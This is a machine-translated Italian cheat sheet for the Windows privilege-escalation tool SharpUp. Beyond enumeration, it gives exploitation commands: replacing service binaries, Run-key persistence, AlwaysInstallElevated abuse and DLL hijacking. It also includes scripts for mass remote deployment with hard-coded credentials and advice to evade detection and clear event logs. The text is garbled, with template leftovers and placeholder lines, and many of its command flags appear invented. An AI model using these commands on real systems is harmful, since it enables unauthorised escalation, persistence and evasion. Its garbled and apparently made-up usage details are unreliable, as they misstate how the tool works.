Vai al contenuto

FRONTMATTER_33_# Foglio di Cheat SharpUp

__HTML_TAG_23_📋 Copia Tutti i comandi_HTML_TAG_24__ __HTML_TAG_27_ ## Panoramica SharpUp è una porta C# del popolare script di escalation del privilegio di PowerUp, progettato per identificare i vettori di escalation privilegio di Windows comuni attraverso l'analisi completa del sistema. Sviluppato come parte del toolkit GhostPack da harmj0y e altri ricercatori di sicurezza, SharpUp fornisce tester di penetrazione e operatori di team rossi con uno strumento potente per scoprire le configurazioni e le vulnerabilità che potrebbero portare a escalation privilegi locali sui sistemi Windows. Lo strumento rappresenta un approccio moderno al privilegio escalation enumeration, sfruttando il . Quadro NET per migliorare la stealth e la compatibilità. Il vantaggio principale di SharpUp sul suo predecessore PowerShell risiede nella sua natura compilata, che lo rende meno suscettibile ai meccanismi di rilevamento basati su PowerShell e alle politiche di esecuzione degli script. Come eseguibile standalone, SharpUp può essere facilmente implementato e eseguito in ambienti in cui l'esecuzione PowerShell è limitata o monitorata. Lo strumento esegue controlli estensivi su più categorie tra cui errori di servizio, vulnerabilità del registro di sistema, autorizzazioni di file system, e varie tecniche di escalation privilegi specifici di Windows. SharpUp opera esaminando sistematicamente il sistema di destinazione per i vettori di escalation privilegi comuni, compresi i percorsi di servizio non quotati, i permessi di servizio deboli, autorun del registro di sistema, le opportunità di dirottamento delle DLL, e varie altre configurazioni errate che potrebbero essere sfruttate per ottenere privilegi elevati. Lo strumento fornisce un output dettagliato che aiuta i professionisti della sicurezza a capire non solo quali vulnerabilità esistono, ma anche come potrebbero essere sfruttati, rendendolo un bene inestimabile sia per operazioni di sicurezza offensive che difensive. ## Installazione ### Binary Download Download precompilato Sharp Su binari:
# Download from GitHub releases
wget https://github.com/GhostPack/SharpUp/releases/latest/download/SharpUp.exe

# Download specific version
wget https://github.com/GhostPack/SharpUp/releases/download/v1.1.0/SharpUp.exe

# Verify file integrity
sha256sum SharpUp.exe

# Make executable (if needed)
chmod +x SharpUp.exe
### Source Compilation Compiling Sharp Su dalla fonte:
# Clone repository
git clone https://github.com/GhostPack/SharpUp.git
cd SharpUp

# Compile with Visual Studio
msbuild SharpUp.sln /p:Configuration=Release

# Compile with .NET CLI
dotnet build -c Release

# Cross-compile for different architectures
dotnet publish -c Release -r win-x64 --self-contained
dotnet publish -c Release -r win-x86 --self-contained
### Docker Build Environment
# Create Docker build environment
cat > Dockerfile << 'EOF'
FROM mcr.microsoft.com/dotnet/sdk:6.0
WORKDIR /app
COPY . .
RUN dotnet build -c Release
EOF

# Build container
docker build -t sharpup-builder .

# Extract compiled binary
docker run --rm -v $(pwd):/output sharpup-builder cp /app/bin/Release/net6.0/SharpUp.exe /output/
# Uso di base ### Eumerazione standard Esecuzione di base SharpUp enumeration:
# Run all checks
SharpUp.exe

# Run with verbose output
SharpUp.exe -v

# Run specific check categories
SharpUp.exe -c Services

# Run multiple categories
SharpUp.exe -c Services,Registry

# Save output to file
SharpUp.exe > privilege_escalation_report.txt
### Check mirati Eseguire controlli specifici di escalation dei privilegi:
# Check service permissions
SharpUp.exe -c Services

# Check registry autoruns
SharpUp.exe -c Registry

# Check file permissions
SharpUp.exe -c Files

# Check scheduled tasks
SharpUp.exe -c Tasks

# Check installed software
SharpUp.exe -c Software
### Formattazione dell'uscita Controllo affilato Formato di uscita:
# JSON output format
SharpUp.exe -f json

# XML output format
SharpUp.exe -f xml

# CSV output format
SharpUp.exe -f csv

# Detailed text output
SharpUp.exe -f detailed

# Quiet mode (minimal output)
SharpUp.exe -q
## Caratteristiche avanzate ### Service Enumeration Controllo dell'escalation dei privilegi di servizio completo:
# Check unquoted service paths
SharpUp.exe -c Services -t UnquotedPaths

# Check weak service permissions
SharpUp.exe -c Services -t WeakPermissions

# Check service binary permissions
SharpUp.exe -c Services -t BinaryPermissions

# Check service registry permissions
SharpUp.exe -c Services -t RegistryPermissions

# Check all service vulnerabilities
SharpUp.exe -c Services -t All
#### Registry Analysis Escalation di privilegi basati sul Registro di sistema:
# Check autorun entries
SharpUp.exe -c Registry -t Autoruns

# Check registry permissions
SharpUp.exe -c Registry -t Permissions

# Check AlwaysInstallElevated
SharpUp.exe -c Registry -t AlwaysInstallElevated

# Check registry hijacking opportunities
SharpUp.exe -c Registry -t Hijacking

# Check all registry vulnerabilities
SharpUp.exe -c Registry -t All
### Controllo file system Escalation del privilegio del file system:
# Check writable directories in PATH
SharpUp.exe -c Files -t WritablePath

# Check DLL hijacking opportunities
SharpUp.exe -c Files -t DLLHijacking

# Check file permissions
SharpUp.exe -c Files -t Permissions

# Check backup files
SharpUp.exe -c Files -t Backups

# Check configuration files
SharpUp.exe -c Files -t ConfigFiles
## Programmato Analisi delle attività Controlli di escalation del privilegio di attività programmati:
# Check scheduled task permissions
SharpUp.exe -c Tasks -t Permissions

# Check task binary permissions
SharpUp.exe -c Tasks -t BinaryPermissions

# Check task arguments
SharpUp.exe -c Tasks -t Arguments

# Check task triggers
SharpUp.exe -c Tasks -t Triggers

# Check all task vulnerabilities
SharpUp.exe -c Tasks -t All
## Tecniche di esplorazione ### Servizio di esplorazione Sfruttando le vulnerabilità basate sui servizi:
# Exploit unquoted service path
sc stop "Vulnerable Service"
copy malicious.exe "C:\Program Files\Vulnerable Path\Program.exe"
sc start "Vulnerable Service"

# Exploit weak service permissions
sc config "Vulnerable Service" binpath= "C:\temp\malicious.exe"
sc start "Vulnerable Service"

# Exploit service binary permissions
copy malicious.exe "C:\Program Files\Service\service.exe"
sc start "Vulnerable Service"
### Registry Exploitation Sfruttando vulnerabilità basate sul registro di sistema:
# Exploit AlwaysInstallElevated
msiexec /quiet /qn /i malicious.msi

# Exploit autorun registry entry
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Malicious" /t REG_SZ /d "C:\temp\malicious.exe"

# Exploit registry permissions
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnService" /v "ImagePath" /t REG_EXPAND_SZ /d "C:\temp\malicious.exe"
### DLL # Dirottamento Sfruttando le opportunità di dirottamento della DLL:
# Create malicious DLL
# Compile DLL with appropriate exports
gcc -shared -o malicious.dll malicious.c

# Place DLL in hijackable location
copy malicious.dll "C:\Program Files\Application\vulnerable.dll"

# Trigger application execution
"C:\Program Files\Application\app.exe"
## Automation Scripts ### Automated Enumeration
#!/bin/bash
# SharpUp automated enumeration script

TARGET_HOST="192.168.1.100"
USERNAME="user"
PASSWORD="password"

echo "Starting SharpUp enumeration on $TARGET_HOST"

# Copy SharpUp to target
smbclient //$TARGET_HOST/C$ -U $USERNAME%$PASSWORD -c "put SharpUp.exe temp\SharpUp.exe"

# Execute SharpUp remotely
winexe -U $USERNAME%$PASSWORD //$TARGET_HOST "C:\temp\SharpUp.exe -f json > C:\temp\sharpup_results.json"

# Retrieve results
smbclient //$TARGET_HOST/C$ -U $USERNAME%$PASSWORD -c "get temp\sharpup_results.json sharpup_results_$TARGET_HOST.json"

# Clean up
smbclient //$TARGET_HOST/C$ -U $USERNAME%$PASSWORD -c "del temp\SharpUp.exe; del temp\sharpup_results.json"

echo "Enumeration completed for $TARGET_HOST"
# Analisi dei risultati
#!/usr/bin/env python3
# SharpUp result analysis script

import json
import sys

def analyze_sharpup_results(json_file):
    """Analyze SharpUp JSON results"""

    with open(json_file, 'r') as f:
        results = json.load(f)

    vulnerabilities = []

    # Analyze service vulnerabilities
    if 'Services' in results:
        for service in results['Services']:
            if service.get('Vulnerable', False):
                vulnerabilities.append(\\\\{
                    'type': 'Service',
                    'name': service['Name'],
                    'issue': service['Issue'],
                    'severity': service.get('Severity', 'Medium')
                \\\\})

    # Analyze registry vulnerabilities
    if 'Registry' in results:
        for reg_entry in results['Registry']:
            if reg_entry.get('Vulnerable', False):
                vulnerabilities.append(\\\\{
                    'type': 'Registry',
                    'path': reg_entry['Path'],
                    'issue': reg_entry['Issue'],
                    'severity': reg_entry.get('Severity', 'Medium')
                \\\\})

    # Sort by severity
    severity_order = \\\\{'Critical': 0, 'High': 1, 'Medium': 2, 'Low': 3\\\\}
    vulnerabilities.sort(key=lambda x: severity_order.get(x['severity'], 4))

    # Generate report
    print("SharpUp Vulnerability Analysis Report")
    print("=" * 50)

    for vuln in vulnerabilities:
        print(f"Type: \\\\{vuln['type']\\\\}")
        print(f"Severity: \\\\{vuln['severity']\\\\}")
        print(f"Issue: \\\\{vuln['issue']\\\\}")
        if 'name' in vuln:
            print(f"Service: \\\\{vuln['name']\\\\}")
        if 'path' in vuln:
            print(f"Path: \\\\{vuln['path']\\\\}")
        print("-" * 30)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python3 analyze_results.py <sharpup_results.json>")
        sys.exit(1)

    analyze_sharpup_results(sys.argv[1])
## Mass Enumeration
#!/usr/bin/env python3
# SharpUp mass enumeration script

import subprocess
import threading
import json
import time

class SharpUpScanner:
    def __init__(self, targets_file, username, password):
        self.targets = self.load_targets(targets_file)
        self.username = username
        self.password = password
        self.results = \\\\{\\\\}

    def load_targets(self, targets_file):
        """Load target hosts from file"""
        with open(targets_file, 'r') as f:
            return [line.strip() for line in f if line.strip()]

    def scan_target(self, target):
        """Scan individual target with SharpUp"""
        try:
            print(f"Scanning \\\\{target\\\\}...")

            # Copy SharpUp to target
            copy_cmd = f"smbclient //\\\\{target\\\\}/C$ -U \\\\{self.username\\\\}%\\\\{self.password\\\\} -c 'put SharpUp.exe temp\\SharpUp.exe'"
            subprocess.run(copy_cmd, shell=True, capture_output=True)

            # Execute SharpUp
            exec_cmd = f"winexe -U \\\\{self.username\\\\}%\\\\{self.password\\\\} //\\\\{target\\\\} 'C:\\temp\\SharpUp.exe -f json'"
            result = subprocess.run(exec_cmd, shell=True, capture_output=True, text=True)

            if result.returncode == 0:
                self.results[target] = json.loads(result.stdout)
                print(f"Successfully scanned \\\\{target\\\\}")
            else:
                print(f"Failed to scan \\\\{target\\\\}: \\\\{result.stderr\\\\}")

            # Cleanup
            cleanup_cmd = f"smbclient //\\\\{target\\\\}/C$ -U \\\\{self.username\\\\}%\\\\{self.password\\\\} -c 'del temp\\SharpUp.exe'"
            subprocess.run(cleanup_cmd, shell=True, capture_output=True)

        except Exception as e:
            print(f"Error scanning \\\\{target\\\\}: \\\\{e\\\\}")

    def run_scan(self, max_threads=10):
        """Run scan against all targets"""
        threads = []

        for target in self.targets:
            if len(threads) >= max_threads:
                # Wait for threads to complete
                for t in threads:
                    t.join()
                threads = []

            thread = threading.Thread(target=self.scan_target, args=(target,))
            thread.start()
            threads.append(thread)
            time.sleep(1)  # Avoid overwhelming targets

        # Wait for remaining threads
        for t in threads:
            t.join()

        return self.results

# Usage
if __name__ == "__main__":
    scanner = SharpUpScanner("targets.txt", "admin", "password123")
    results = scanner.run_scan()

    # Save results
    with open("mass_sharpup_results.json", "w") as f:
        json.dump(results, f, indent=2)

    print(f"Scan completed. Results saved for \\\\{len(results)\\\\} targets.")
## Esempi di integrazione ### Integrazione Metasploit
# Metasploit post-exploitation module for SharpUp
require 'msf/core'
require 'rex'

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Priv
  include Msf::Post::File

  def initialize(info = \\\\{\\\\})
    super(update_info(info,
      'Name'          => 'Windows SharpUp Privilege Escalation Enumeration',
      'Description'   => 'Runs SharpUp to enumerate privilege escalation vectors',
      'License'       => MSF_LICENSE,
      'Author'        => ['Your Name'],
      'Platform'      => ['win'],
      'SessionTypes'  => ['meterpreter']
    ))
  end

  def run
    print_status("Running SharpUp enumeration...")

    # Upload SharpUp
    sharpup_path = "#\\\\{session.fs.file.expand_path("%TEMP%")\\\\}\\SharpUp.exe"
    upload_file(sharpup_path, File.join(Msf::Config.data_directory, "exploits", "SharpUp.exe"))

    # Execute SharpUp
    output = cmd_exec("#\\\\{sharpup_path\\\\} -f json")

    # Parse and display results
    begin
      results = JSON.parse(output)
      print_good("SharpUp enumeration completed")

      # Process results
      if results['Services']
        print_status("Service vulnerabilities found:")
        results['Services'].each do|service|
          if service['Vulnerable']
            print_good("  #\\\\{service['Name']\\\\}: #\\\\{service['Issue']\\\\}")
          end
        end
      end

    rescue JSON::ParserError
      print_error("Failed to parse SharpUp output")
    end

    # Cleanup
    file_rm(sharpup_path)
  end
end
### Power Integrazione di Shell
# PowerShell wrapper for SharpUp
function Invoke-SharpUpEnum \\\\{
    param(
        [string]$SharpUpPath = ".\SharpUp.exe",
        [string]$OutputFormat = "json",
        [string]$Categories = "All",
        [switch]$Verbose
    )

    Write-Host "[+] Starting SharpUp enumeration" -ForegroundColor Green

    # Build command arguments
    $arguments = @()

    if ($Categories -ne "All") \\\\{
        $arguments += "-c", $Categories
    \\\\}

    if ($OutputFormat) \\\\{
        $arguments += "-f", $OutputFormat
    \\\\}

    if ($Verbose) \\\\{
        $arguments += "-v"
    \\\\}

    try \\\\{
        # Execute SharpUp
        $result = & $SharpUpPath @arguments 2>&1

        if ($LASTEXITCODE -eq 0) \\\\{
            Write-Host "[+] SharpUp completed successfully" -ForegroundColor Green

            if ($OutputFormat -eq "json") \\\\{
                $jsonResult = $result|ConvertFrom-Json
                return $jsonResult
            \\\\} else \\\\{
                return $result
            \\\\}
        \\\\} else \\\\{
            Write-Host "[-] SharpUp failed with exit code: $LASTEXITCODE" -ForegroundColor Red
            Write-Host $result -ForegroundColor Red
        \\\\}
    \\\\}
    catch \\\\{
        Write-Host "[-] Error executing SharpUp: $($_.Exception.Message)" -ForegroundColor Red
    \\\\}
\\\\}

# Usage examples
$results = Invoke-SharpUpEnum -Verbose
$serviceVulns = Invoke-SharpUpEnum -Categories "Services" -OutputFormat "json"
## Risoluzione dei problemi ### Questioni comuni **Restrizioni sulla politica di esecuzione:** Traduzione: **Emissioni: ** Traduzione: **Rilevamento antivirus: ** Traduzione: ### Debugging # Abilitare debug dettagliato:
# Run with verbose output
SharpUp.exe -v

# Capture detailed logs
SharpUp.exe -v > debug.log 2>&1

# Use Process Monitor to track file/registry access
procmon.exe

# Use Sysmon for detailed logging
sysmon -i sysmonconfig.xml
## Considerazioni di sicurezza ### Sicurezza operativa **Evita di rilevamento: ** - Utilizzare nomi di file dall'aspetto legittimo - Eseguire durante le ore di lavoro - Evitare nomi di processo sospetti - Pulire artefatti dopo l'esecuzione - Monitor per le risposte difensive **Artifact Management: E' una cosa da fare. - Cancellazione sicura dei binari - Cancella i registri degli eventi se possibile - Rimuovere i file temporanei - Cancella cronologia dei comandi - Monitor per l'analisi forense ### Considerazioni giuridiche ed etiche **Solo test autorizzati: ** - Ottenere una corretta autorizzazione scritta - Definire la portata e le limitazioni chiare - Documento tutte le attività - Seguire la divulgazione responsabile - Rispetto dell'integrità del sistema **Le migliori pratiche: ** - Utilizzare in ambienti controllati - Valutazioni di sicurezza regolari - Misure di bonifica - Monitor per uso non autorizzato - Mantenere i percorsi di audit ## Referenze 1. [SharpUp GitHub Repository] 2. [PowerUp Original Tool](https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc)_ 3. [Guida all'escalation del privilegio di Windows](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)_ 4. [MITRE ATT&CK - Privilege Escalation] 5. [Indurimento di sicurezza di Windows](_URL_32___